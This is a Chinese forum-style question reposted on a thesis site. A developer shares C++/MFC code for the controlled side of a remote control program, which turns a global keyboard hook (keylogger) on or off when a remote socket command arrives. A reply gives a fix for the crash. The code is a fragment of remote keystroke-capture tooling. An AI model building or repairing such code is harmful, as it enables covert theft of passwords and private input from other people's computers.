毕业论文开发语言企业开发JAVA技术.NET技术WEB开发Linux/Unix数据库技术Windows平台移动平台嵌入式论文范文英语论文
您现在的位置: 毕业论文 >> 开发语言 >> 正文

vc关于远程控制程序的键盘记录功能代码

更新时间:2012-11-29:  来源:毕业论文

vc关于远程控制程序的键盘记录功能代码
这几天在写一个简单远程控制程序,通信用的是CSocket类,今天在加一个远程键盘记录功能的时候出了一点问题。
键盘记录(用钩子实现)在本地程序测试的时候没有问题,当我把这个功能加在被控端的时候,出问题了,我粘代码。 如下:

JavaScript code
 unsigned int StartServer(LPVOID lParam) {     AfxSocketInit();       CSocket aSocket, clientSocket;     aSocket.Socket();       BOOL bOptVal = TRUE;     int bOptLen = sizeof(BOOL);           aSocket.SetSockOpt(SO_REUSEADDR, (void *)&bOptVal, bOptLen, SOL_SOCKET);           aSocket.Bind(nPort);       aSocket.Listen(10);     //循环接收指令     while(1)     {         if(!aSocket.Accept(clientSocket))         {             continue;         }         else        {             char szRecvMsg[256] = {0};             clientSocket.Receive(szRecvMsg, 256);             if ( !strcmp(szRecvMsg, "StartHook") )   //设置全局钩子,开启键盘记录             {                 InstallLaunchEv();              }             else if ( !strcmp(szRecvMsg, "KillHook") )    //结束全局钩子             {                 CloseHook();             }             else             {                 AfxMessageBox("未知指令");                 clientSocket.Close();             }         }     }           aSocket.Close();     clientSocket.Close();     return 0; }

这是被控端中的一段代码,也是出问题的代码。
我把其中一些错误处理代码以及一小部分无关代码删除了,为了缩短程序代码长度。
这里可以收到服务端发来的 StartHook ,并执行InstallLaunchEv();  (关于此函数实现请参考http-://blog.-csdn.-net/jaminwm/article/details/463940 )
\然后程序回到aSocket.Accept();
这时程序就崩溃了!请大神指导下~求解啊!!!!

clientSocket好像不能重复利用,还是把定义弄到while(1)里面比较好.

设为首页 | 联系站长 | 友情链接 | 网站地图 |

copyright©youerw.com 优尔论文网 严禁转载
如果本毕业论文网损害了您的利益或者侵犯了您的权利,请及时联系,我们一定会及时改正。